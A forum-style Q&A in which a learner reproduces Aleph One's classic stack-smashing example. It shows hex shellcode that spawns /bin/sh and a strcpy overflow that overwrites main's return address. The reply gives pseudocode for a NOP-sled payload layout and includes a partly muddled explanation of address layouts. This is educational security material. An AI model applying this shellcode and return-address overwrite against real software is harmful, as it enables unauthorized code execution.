Reputation: 11
I have recently been following aleph1's Smashing The Stack For Fun And Profit paper, and I've reached a part where I am unable to smash the stack with strcpy.
In the chapter titled: "Writing an Exploit(or how to mung the stack)", aleph1 writes the following code (which I tried to run my computer):
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
What we have done above is filled the array large_string[] with the address of buffer[], which is where our code will be. Then we copy our shellcode into the beginning of the large_string string. strcpy() will then copy large_string onto buffer without doing any bounds checking, and will overflow the return address, overwriting it with the address where our code is now located. Once we reach the end of main and it tried to return it jumps to our code, and execs a shell.
This code works exactly as it's supposed to for me until it gets to this line:
strcpy(buffer,large_string);
After lots of digging around, I found out that strcpy doesn't overflow buffer as it should, because the address of buffer (which is copied many times into large_string) has NUL string-terminating zeros in it.
Therefore, strcpy()
stops after the first NUL it runs into, which is well before we overwrite the return address of main with buffer's address.
Is there a way to solve this problem and somehow make the address of buffer not have any zeroes in it?
Upvotes: 0
Views: 997
Reputation: 161
I guess you are using the Windows operating system and little endian processor, that's because as far as i know linux puts the address code from above so linux usually doesn't have a NULL byte in address. Different from windows which start from a low address so that it contains NULL byte. There is a trick which is to add enough NOP instruction in your shellcode until it overwrite the return address. Because your address contain NULL byte, you only write the return address once (strcpy stop at NULL byte). In order to do this you should look at the assembly and calculate the exact size of the shellcode needed and then put the target return address afterward.
Here are the pseudo
// &ret_addr is address of where your target_return_addres to be stored.
// To get it:
// view in debugger
// break at first instruction in main. Usually push ebp instruction
// look ESP register value
a = &ret_addr - &buffer // [NOP] + [SHELLCODE]
// fill large_string with return address
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
// fill large_string with NOP
n = a - strlen(shellcode)
for (i = 0; i < n; i++)
large_string[i] = NOP;
// fill large_string with your shellcode
for (i = 0; i < strlen(shellcode); i++)
large_string[n+i] = shellcode[i];
At the end large_string will look like this
[n bytes] [strlen(shellcode) bytes] [Rest Bytes]
[NOP] [SHELLCODE] [RETURN ADDRESS]
and buffer will look like this
[n bytes] [strlen(shellcode) bytes] [4 Bytes]
[NOP] [SHELLCODE] [RETURN ADDRESS]
Remember this will work if NX bit and stack canaries are turned off. Try it in debugger to understand it very well
Upvotes: 1